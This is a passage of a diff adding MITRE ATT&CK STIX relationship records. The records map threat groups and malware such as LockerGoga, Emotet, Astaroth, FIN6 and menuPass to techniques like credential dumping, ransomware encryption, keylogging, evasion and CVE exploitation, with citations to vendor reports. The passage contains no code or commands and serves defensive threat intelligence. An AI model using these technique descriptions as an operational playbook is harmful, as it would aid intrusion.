"https://content.fireeye.com/apt/rpt-apt38" + }, + { + "source_name": "LogRhythm WannaCry", + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + }, + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + }, + { + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + } + ], + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T18:13:09.704Z", + "type": "relationship", + "created": "2019-04-12T17:01:01.266Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--00e9a38d-6dc5-4d67-b2fe-977b1c7d17dd", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. 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(2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group" + } + ], + "modified": "2019-04-16T14:51:35.351Z", + "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has performed a variety of methods to look like valid users, including renaming files and mimicking legitimate administrator activities.\n", + "type": "relationship", + "created": "2019-04-16T15:21:57.810Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b9ca1199-cb71-4435-84ec-75aee916d1ae", + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. 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Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "modified": "2019-04-29T18:59:16.405Z", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "relationship_type": "uses", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) routinely deleted tools, logs, and other files after they were finished with them.", + "type": "relationship", + "created": "2019-04-16T15:47:48.783Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d705cc12-1d6c-414d-8b39-1c099dec07ab", + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). 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Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "modified": "2019-04-29T18:59:16.411Z", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has created staging folders in directories that were infrequently used by legitimate users or processes.", + "type": "relationship", + "created": "2019-04-16T15:47:48.799Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--28d58aa4-48ee-41c7-aefa-8e4402ddad3c", + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). 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Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "modified": "2019-04-29T18:59:16.516Z", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "relationship_type": "uses", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERTON](https://attack.mitre.org/software/S0371) has the ability to dump password hashes.", + "type": "relationship", + "created": "2019-04-16T17:43:42.905Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b8133b35-52b8-4407-9845-a00b6a739cdc", + "external_references": [ + { + "source_name": "FireEye APT33 Guardrail", + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. 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(2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.", + "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/" + } + ], + "modified": "2019-07-25T14:22:27.767Z", + "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LockerGoga ](https://attack.mitre.org/software/S0372) has been observed deleting its original launcher after execution.", + "type": "relationship", + "created": "2019-04-16T19:00:49.595Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--20904798-df45-48a6-8428-9e4fb913f6ae", + "external_references": [ + { + "source_name": "CarbonBlack LockerGoga 2019", + "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.", + "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/" + } + ], + "modified": "2019-07-25T14:22:27.795Z", + "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LockerGoga ](https://attack.mitre.org/software/S0372) has encrypted files, including core Windows OS files, using RSA-OAEP MGF1 and then demanded Bitcoin be paid for the decryption key.", + "type": "relationship", + "created": "2019-04-16T19:00:49.593Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--31daba72-fb27-45a9-9224-991032b605a8", + "external_references": [ + { + "source_name": "CarbonBlack LockerGoga 2019", + "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.", + "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/" + }, + { + "source_name": "Unit42 LockerGoga 2019", + "description": "Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.", + "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/" + }, + { + "source_name": "Wired Lockergoga 2019", + "description": "Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019.", + "url": "https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/" + } + ], + "modified": "2019-07-25T14:22:27.797Z", + "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "relationship_type": "uses", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed using an encrypted, modified protobuf-based protocol for command and control messaging.", + "type": "relationship", + "created": "2019-04-16T19:29:01.535Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--16ae7818-4467-4954-8203-69017f4bd2ed", + "external_references": [ + { + "source_name": "Sophos Emotet Apr 2019", + "description": "Brandt, A.. (2019, May 5). Emotet 101, stage 4: command and control. Retrieved April 16, 2019.", + "url": "https://news.sophos.com/en-us/2019/03/05/emotet-101-stage-4-command-and-control/" + }, + { + "source_name": "DanielManea Emotet May 2017", + "description": "Manea, D.. (2019, May 25). Emotet v4 Analysis. Retrieved April 16, 2019.", + "url": "https://danielmanea.com/category/reverseengineering/" + } + ], + "modified": "2019-06-28T15:25:29.866Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed enumerating local processes.", + "type": "relationship", + "created": "2019-04-16T19:29:01.556Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e39eb7ad-f233-4c22-8707-aaf600f42100", + "external_references": [ + { + "source_name": "ASEC Emotet 2017", + "description": "ASEC. (2017). ASEC REPORT VOL.88. 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Retrieved April 17, 2019.", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "modified": "2019-04-23T16:21:50.649Z", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses a software packer called Pe123\\RPolyCryptor.", + "type": "relationship", + "created": "2019-04-17T13:46:38.705Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3e36bc27-d1c1-4ccd-bf6d-2868843664c8", + "external_references": [ + { + "source_name": "Cybereason Astaroth Feb 2019", + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. 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ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "modified": "2019-04-23T16:21:50.913Z", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) collects data in a plaintext file named r1.log before exfiltration.", + "type": "relationship", + "created": "2019-04-17T13:46:38.865Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f26e1997-733e-4c3c-ac26-294048466c52", + "external_references": [ + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + } + ], + "modified": "2019-04-23T16:21:50.909Z", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses an external software known as NetPass to recover passwords.", + "type": "relationship", + "created": "2019-04-17T13:46:38.879Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--abe93e80-2fc7-4c71-846e-b476529b4ae6", + "external_references": [ + { + "source_name": "Cybereason Astaroth Feb 2019", + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "modified": "2019-04-23T16:21:50.956Z", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) creates a startup item for persistence.", + "type": "relationship", + "created": "2019-04-17T13:46:38.877Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e772ce2d-bc2b-4e7f-af67-700737c75d2c", + "external_references": [ + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + } + ], + "modified": "2019-04-23T16:21:50.960Z", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) encodes data using Base64 before sending it to the C2 server.", + "type": "relationship", + "created": "2019-04-17T13:46:38.880Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3a1883a0-8626-4cf0-8e0f-19bf9cf39a30", + "external_references": [ + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + } + ], + "modified": "2019-04-23T16:21:50.959Z", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses the LoadLibraryExW() function to load additional modules.", + "type": "relationship", + "created": "2019-04-17T13:46:38.893Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--30c9343b-bb15-494a-a1cf-4449131ec216", + "external_references": [ + { + "source_name": "Cybereason Astaroth Feb 2019", + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "modified": "2019-04-23T16:21:50.954Z", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) can be loaded through regsvr32.exe.", + "type": "relationship", + "created": "2019-04-17T13:46:38.895Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--49eb0604-2dee-4dcd-8029-cdd478033749", + "external_references": [ + { + "source_name": "Cybereason Astaroth Feb 2019", + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "modified": "2019-04-23T16:21:50.957Z", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "relationship_type": "uses", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) searches for unins000.exe (GAS Tecnologia software), Syswow64\\userinit.exe or System32\\userinit.exe to evasively create a new process in suspended state.", + "type": "relationship", + "created": "2019-04-17T13:46:38.897Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--87a90347-6f15-461c-a44c-9acf503a606b", + "external_references": [ + { + "source_name": "Cybereason Astaroth Feb 2019", + "description": "Salem, E. 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Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T14:59:17.849Z", + "type": "relationship", + "created": "2019-04-17T14:45:59.681Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ad7770c3-fe24-4285-9ce2-1616a1061472", + "external_references": [ + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. 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Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "modified": "2019-06-28T14:59:17.777Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used Pastebin to host content for the operation.\t\n", + "type": "relationship", + "created": "2019-04-17T15:08:45.097Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--41ba13d1-5681-402e-a847-08b7e7b12f42", + "external_references": [ + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "modified": "2019-06-28T14:59:17.781Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used tools like Adfind to query users, groups, organizational units, and trusts.\t\n", + "type": "relationship", + "created": "2019-04-17T15:08:45.101Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9fcb40e0-a3a8-4625-b889-0d623960aa3d", + "external_references": [ + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "modified": "2019-06-28T14:59:17.857Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has created Windows services to execute encoded PowerShell commands.", + "type": "relationship", + "created": "2019-04-17T15:08:45.104Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b106e9ad-dbde-43c7-a38d-da5c87e1da05", + "external_references": [ + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "modified": "2019-06-28T14:59:17.855Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has been seen changing malicious files to appear legitimate. They have also renamed [certutil](https://attack.mitre.org/software/S0160) and move it to a different location on system to avoid detection based on use of the tool.", + "type": "relationship", + "created": "2019-04-17T16:58:29.391Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d464c661-d4da-427f-8c16-dfc275735fe9", + "external_references": [ + { + "source_name": "DOJ APT10 Dec 2018", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "modified": "2019-06-28T15:24:32.372Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has encrypted files and information before exfiltration.", + "type": "relationship", + "created": "2019-04-17T16:58:29.414Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d844fdcc-a0d1-46b4-a4dc-f56063ef9584", + "external_references": [ + { + "source_name": "DOJ APT10 Dec 2018", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "modified": "2019-06-28T15:24:32.382Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has collected various files from the compromised computers.\n", + "type": "relationship", + "created": "2019-04-17T16:58:29.416Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dfedbce3-afe2-46f4-80fb-7f3e802c5f03", + "external_references": [ + { + "source_name": "DOJ APT10 Dec 2018", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "modified": "2019-06-28T15:24:32.357Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used key loggers to steal usernames and passwords.", + "type": "relationship", + "created": "2019-04-17T16:58:29.419Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5680146f-fc33-4b3e-bbc0-66a7f74587d3", + "external_references": [ + { + "source_name": "DOJ APT10 Dec 2018", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "modified": "2019-06-28T15:24:32.377Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:24:32.687Z", + "type": "relationship", + "created": "2019-04-17T16:58:29.703Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a552bf3d-a438-406f-8f5b-8e263adad080", + "external_references": [ + { + "source_name": "DOJ APT10 Dec 2018", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) checks for availability of specific ports on servers.", + "type": "relationship", + "created": "2019-04-17T18:43:36.286Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--467f79d6-edf7-4e6a-a0d7-8196cd406ce1", + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "modified": "2019-04-22T20:29:31.247Z", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) can perform brute forcing using a pre-defined list of usernames and passwords in an attempt to log in to administrative panels.", + "type": "relationship", + "created": "2019-04-17T18:43:36.299Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3222edc5-bed6-4e8f-b62b-d76040754218", + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). 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Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "modified": "2019-04-22T20:29:31.277Z", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) attempts to exploit the following vulnerabilities in order to execute its malicious script: CVE-2012-0874, CVE-2010-1871, CVE-2017-10271, CVE-2018-2894, CVE-2016-3088, JBoss AS 3/4/5/6, and the Hadoop 